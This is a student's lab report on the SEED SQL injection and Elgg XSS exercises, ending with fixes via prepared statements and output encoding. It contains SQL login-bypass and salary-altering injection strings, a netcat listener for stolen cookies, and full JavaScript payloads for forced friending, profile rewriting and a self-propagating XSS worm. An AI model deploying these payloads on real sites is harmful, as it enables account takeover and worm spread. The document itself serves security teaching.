20211906 2021-2022-2 《网络攻防实践》第十周作业

1.实践内容

1.1 SQL语句

结构化查询语言(Structured Query Language)简称SQL,结构化查询语言是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;

sql 语句就是对数据库进行操作的一种语言。

1.2 SQL注入

SQL注入(SaL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损

SQL注入攻击原理:向web应用程序提供的用户输入接口,输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。

SQL注入的产生需要满足以下两个条件:

1、参数用户可控:前端传给后端的参数用户可控。

2、参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库中查询。

SQL注入类型:

1、按照注入点分类:

(1)数字型注入:许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,注入点id为数字,一般被叫做数字型注入点,通过这种形式查询出后台数据库信息返回前台展示,可以构造类似以下的SQL语句进行爆破:select *** from 表名 where id=1 and 1=1。

(2)字符型注入:网页链接有类似的结构

http://xxx.com/users.php?name=admin 这种形式,注入点name为字符串,被称为字符型注入,可以用:select *** from 表名 where name='admin' and 1=1。

(3)搜索型注入:主要是指在数据搜索时没有过滤搜索参数,一般在链接地址中有 "keyword=“关键字”",注入点提交的是SQL语句,select * from 表名 where 字段 like '%关键字%' and '%1%'='%1%'。

2、按照执行效果来分类:

(1)基于布尔的盲注:根据页面返回判断条件真假注入。

(2)基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

(3)基于报错的注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
单引号
双引号
基于数字型注入

(4)联合查询注入:可以使用union情况下注入。

1.3 SQL注入攻击工具:

1、自动化SQL注入漏洞发现

Wposion:能够在动态Web文档中找出SQL注入漏洞的工具。

mieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。

2、自动化SQL注入测试

SPIKE Proxy工具:允许使用者对待注入字符串进行定制。

SPI Toolkit工具包中的“SQL Injector”工具。

1.4 XSS跨站脚本攻击

跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。

XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

原因解析

主要原因:过于信任客户端提交的数据!

解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。

进一步分析细节:

  客户端提交的数据本来就是应用所需要的,但是恶意攻击者利用网站对客户端提交数据的信任,在数据中插入一些符号以及javascript代码,那么这些数据将会成为应用代码中的一部分了。那么攻击者就可以肆无忌惮地展开攻击啦。

  因此我们绝不可以信任任何客户端提交的数据!

XSS攻击分类

1、反射型xss攻击
  又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

简单例子

正常发送消息:

http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

http://www.test.com/message.php?send=

接收者接收消息显示的时候将会弹出警告窗口

2、存贮型xss攻击
  又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

简单例子:

从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如留言板

留言板表单中的表单域:

正常操作:

用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。

非正常操作:

攻击者在value填写【或者html其他标签(破坏样式。。。)、一段攻击型代码】;

将数据存储到数据库中;

其他用户取出数据显示的时候,将会执行这些攻击性代码

3、DOMBasedXSS(基于dom的跨站点脚本攻击)
  基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

  通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。

  前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。

1.5XSS攻击防范措施

1、服务器端防范措施(以“限制、拒绝、净化”的思路来进行过滤)

输入验证: 对用户提交数据进行尽可能严格的验证与过滤。

输出净化: HTMLEncode()方法。

消除危险的输入点。

2、客户端防范措施

提高浏览器访问非受信网站时的安全等级。

关闭Cookie功能,或设置Cookie只读。

建立安全意识和浏览习惯。

1.6 MySQL教程

MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。

具体教程见网站 https://www.runoob.com/mysql/mysql-tutorial.html

2.实践过程

2.1 SEED SQL注入攻击与防御实验

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

实践环境:

首先输入 su 提权,(名字已经改成了我的名字缩写dy,密码seedubuntu)
lsb_release -a 查看自己的操作系统

可以看到系统是SEED Ubuntu 16.04

然后打开Web服务器软件 提权后使用命令 service apache2 start

打开www.SEEDLabSQLInjection.com

然后可以在终端登陆MySQL数据库,使用指令mysql -uroot -p(密码是seedubuntu)

使用指令use Users;和show tables; (注意!!不要少了分号)查看该数据库下面的表。

使用指令select * from credential; 在这里可以看到员工各项信息。

接下来进行对SELECT语句的SQL注入攻击

首先打开SQL Injection Site 网站,然后随便输入账号密码

F12查看表单提交情况,可以看到进行校验的是unsafe_home.php。

接下来
vim /var/www/SQLInjection/unsafe_home.php 打开unsafe_home.php文件,查看源代码。

在源代码中可以看到,这个数据库用户为root,密码为seedubuntu

当用户名是admin时,用户信息表名为credential

因此,管理员账户名就是admin,通过源代码可以看到,我们只需要在用户名输入特定的语句,导致不进行password的校验就可以跳过验证。
使用字符串admin '#进行登录就可以实现,=(#后面的语句被注释,无法执行。所以只进行了用户名的校验。并且登陆成功)

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

UPDATE语句的内容在是unsafe_edit_backend.php中

因此用 vim /var/www/SQLInjection/unsafe_edit_backend.php 打开源代码

找到update语句,可以发现,员工只能修改自己的个人信息,而无法修改工资,那我们就来修改员工的工资。

由第一步攻击我们知道可以用管理员方式直接登陆
我们登陆ALICE的账户。使用ALICE ’#。

登陆成功后,可以看到salary为20000

点击图中的edit profile修改信息。(先缩放网页不然可能看不到)

在NickName那里输入语句', salary='622623' where EID='10000';#,
因为#后面的会被注释,所以就直接执行set salary='500000' where EID = '10000' 这个指令,所以直接修改了工资。
再回去看会发现工资已经被修改了,故攻击成功。

而如果我们如果输入的是 ', salary='622623' where name='Boby';# 那么我们就可以在ALICE的界面修改Boby的工资,尝试一下;

登陆Boby ’#

成功了~。

SQL对抗:修复上述SQL注入攻击漏洞。

SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。
至于修复,是参考大佬的博客;
在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。原来的语句
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
可以修改为
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。这个时候我们继续用之前的方式进行登录,发现已经提示账号不存在。修复了这个漏洞。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

首先打开xss网站,(自带的),然后输入alice、seedalice登陆

点击左上小图标

再点击edit profile

在Brief description域中添加JavaScript代码并保存

然后登陆Boby查看Alice的profile,搜索alice

弹窗显示cookie信息:将cookie信息显示。

和上一步类似,将代码改成 即可。这次我们改Boby的

然后登陆alice账户找boby

窃取受害者的cookies:将cookie发送给攻击者。

为了实现将cookie发给攻击者。可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。

当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面我们使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。(此处参考大佬)(ip地址就写的我的seedubuntu地址)

然后使用nc进行监听5555端口,指令nc -l 5555 -v

然后使用boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息。

成功啦~

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

在Alice的账户中访问Boby,用F12进入开发者模式,然后点击左侧的Add friend,添加 Boby 为好友

可以看到post请求的地址。

请求方式为:POST

请求的三个参数为:__elgg_token=、__elgg_ts=、friend=

然后构造脚本,把这段程序放在Alice的About me中(这里注意要是edit HTML模式),因为原来的brief限制长度。这段代码首先是获取elgg_ts和elgg_token,然后构造一个URL访问,44是alice号。(45是boby)(这里参考大佬的博客)

<script type="text/javascript">
	window.onload = function () {
  var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>

然后登陆boby账号去访问Alice,发现自动添加好友了。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

同上,F12进入开发模式,然后看修改资料时会发送什么指令。

然后构造(代码参考大佬)

<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>THis have been cracked by alice.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

将代码放入Alice的about me中,

然后用boby访问Alice的profile,再返回主页,发现成功修改boby的profile

编写XSS蠕虫。

构建蠕虫攻击代码(参考大佬)

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>THis have been cracked by alice."+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

仍然将代码放入Alice的about me处,然后登陆boby去访问Alice主页,再用admin访问boby
可以看到admin也被感染了

对抗XSS攻击(参考大佬)

在代码中调用htmlspecialchars()方法,主要是对特殊字符进行编码,这个也能解决XSS攻击问题。至此XSS跨站脚本攻击实验完成。

3.遇到的问题及解决

3.1 在使用use Users时候忘了加分号,很容易出现这个错误!(还有别的许多命令都是 记得加;)

3.2 关于代码方面和XSS攻击方面基本都不懂,参考了很多大佬的博客,还需要自己去理解代码,加强基本功。

参考资料

https://baike.baidu.com/item/sql语句/5714895?fr=aladdin
https://blog.csdn.net/qq_44159028/article/details/114325805
https://baijiahao.baidu.com/s?id=1678790551522549759&wfr=spider&for=pc
https://blog.csdn.net/mocas_wang/article/details/111478357
https://www.runoob.com/mysql/mysql-tutorial.html

posted @ 2022-05-17 22:12  itumes  阅读(28)  评论(0编辑  收藏  举报